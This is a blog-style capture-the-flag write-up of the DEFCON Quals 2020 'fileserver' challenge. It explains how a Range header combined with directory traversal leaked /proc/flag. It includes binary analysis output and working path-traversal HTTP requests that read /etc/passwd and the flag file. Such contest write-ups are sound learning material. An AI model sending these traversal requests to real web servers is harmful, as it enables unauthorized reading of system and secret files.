Pwning a DEFCON Quals binary without pwning it.
Story time, before getting to the write up. I played the pwnables of DEFCON Quals 2020, mainly because it’s very fun, and also because I wanted to see what the content would look like, given the remote nature of the contest.
I ended up pwning all three of them, and the writeups can be found here. Err, not exactly though. I managed to get the last flag, fileserver, without pwning the binary whatsoever and that ended up in a funny chat with the DEFCON staff, as well as a prize award! Thanks guys! :)
DEFCON Qualifiers - Fileserver
For this one, we were given a domain name and a port, but no binary. Behind the remote port there was a webserver, which seemed custom made, and among other things, allowed us to download a compiled copy of itself (we figured that out later on) targeted against 32-bit Linux.
Evidently, at the time, I though that I was supposed to pwn the binary in order to win. The challenge, just like the previous ones, instructed us to find the flag at /proc/flag, a fact I did not mention for the previous ones, but which plays an important role for this one.
On to the write up though.
Huh?
At first glance, the binary looks like this:
➜ fileserver checksec target
[*] '/vagrant/DEFCON/fileserver/target'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Also, readelf shows the following, as far as symbols are concerned (basic snip snip has occured):
➜ fileserver readelf -s target | grep -v "@GLIB"
Symbol table '.symtab' contains 127 entries:
Num: Value Size Type Bind Vis Ndx Name
38: 08048cda 218 FUNC LOCAL DEFAULT 14 rio_read
39: 08049320 110 FUNC LOCAL DEFAULT 14 get_mime_type
56: 0804972f 98 FUNC GLOBAL DEFAULT 14 log_access
58: 0804c0e0 112 OBJECT GLOBAL DEFAULT 25 meme_types
67: 08049498 154 FUNC GLOBAL DEFAULT 14 url_decode
69: 08049c5f 553 FUNC GLOBAL DEFAULT 14 process
74: 0804c150 4 OBJECT GLOBAL DEFAULT 25 default_mime_type
85: 08048f4d 979 FUNC GLOBAL DEFAULT 14 handle_directory_request
91: 08048db4 137 FUNC GLOBAL DEFAULT 14 rio_readlineb
95: 08049b8e 209 FUNC GLOBAL DEFAULT 14 display_admin_page
103: 08049e88 371 FUNC GLOBAL DEFAULT 14 main
113: 08048c59 129 FUNC GLOBAL DEFAULT 14 writen
114: 08049532 509 FUNC GLOBAL DEFAULT 14 parse_request
117: 08048c2b 46 FUNC GLOBAL DEFAULT 14 rio_readinitb
120: 0804938e 266 FUNC GLOBAL DEFAULT 14 open_listenfd
122: 080498b7 727 FUNC GLOBAL DEFAULT 14 serve_static
126: 08049791 294 FUNC GLOBAL DEFAULT 14 client_error
The binary is fully symbolicated, but it still contains a bunch of functionality, so we are going to have to take a deeper look at this.
Before doing so, I decided to take a look at the fileserver instance running on the remote host, in order to get a better feel for the target before jumping into static analysis.
That is when I noticed a path traversal vulnerability. By issuing the following HTTP request:
➜ fileserver
GET /../../../../../../etc/passwd HTTP/1.0
I received the following response:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 1561
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
statd:x:108:65534::/var/lib/nfs:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
vagrant:x:900:900:vagrant,,,:/home/vagrant:/usr/bin/zsh
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
That is when I got excited, and tried it against the remote host, without any luck. I could only reproduce it locally. While the vulnerability was present, I could not force the server to return the file to me. I could only list directories using the traversal. Bummer :/
I then scrapped the idea of dynamically getting a feel of the target, considering that the challenge category was pwning, and loaded the binary into IDA. After browsing around the disassembly for a bit, the following caught my attention. During parse_request, the binary treated incoming requests differently, based on the presence of a Range HTTP Request Header, or more accurately, “Ran”.
.text:080495BA sub esp, 4
.text:080495BD push 400h
.text:080495C2 lea eax, [ebp+s1]
.text:080495C8 push eax
.text:080495C9 lea eax, [ebp+var_420]
.text:080495CF push eax
.text:080495D0 call rio_readlineb
.text:080495D5 add esp, 10h
.text:080495D8 movzx eax, [ebp+s1]
.text:080495DF cmp al, 52h ; 'R'
.text:080495E1 jnz short loc_8049644
.text:080495E3 movzx eax, [ebp+var_81F]
.text:080495EA cmp al, 61h ; 'a'
.text:080495EC jnz short loc_8049644
.text:080495EE movzx eax, [ebp+var_81E]
.text:080495F5 cmp al, 6Eh ; 'n'
.text:080495F7 jnz short loc_8049644
.text:080495F9 mov eax, [ebp+arg_4]
.text:080495FC lea edx, [eax+204h]
.text:08049602 mov eax, [ebp+arg_4]
.text:08049605 add eax, 200h
.text:0804960A push edx
.text:0804960B push eax
.text:0804960C lea eax, (aRangeBytesLuLu - 804C000h)[ebx] ; "Range: bytes=%lu-%lu"
.text:08049612 push eax
.text:08049613 lea eax, [ebp+s1]
.text:08049619 push eax
.text:0804961A call ___isoc99_sscanf
We can follow the bahavioral change down to serve_static, which in the case of a Range header present, snprintf()’s the selected part of the file to the response buffer, while the other code path simply skips over it in the case of a file. After all, the juicy part of the (intened solution to the) challenge was getting to the admin page (page as in directory).
Bingo! While the remote instance won’t let us use the directory traversal to fetch files (this is how it was intended to be played), by supplying a range header, we could get it to do so!
GET /../../../../../proc/flag HTTP/1.0
Range: bytes=0-90
Aaaaaaand:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: **redacted**
Cache-Control: no-cache
Accept-Ranges: bytes
**redacted**
There it is, we just got the flag using more web stuff than pwning stuff! I know that’s a broad definition of what “web stuff” and “pwning stuff” is, but I contacted the DEFCON team afterwards and they informed me that this was not the inteded solution.
Considering this, I would far more have loved to actually pwn the challenge, as it is a 400pts DEFCON Quals one, but nonetheless, the hax were for once pretty-cool-hax™.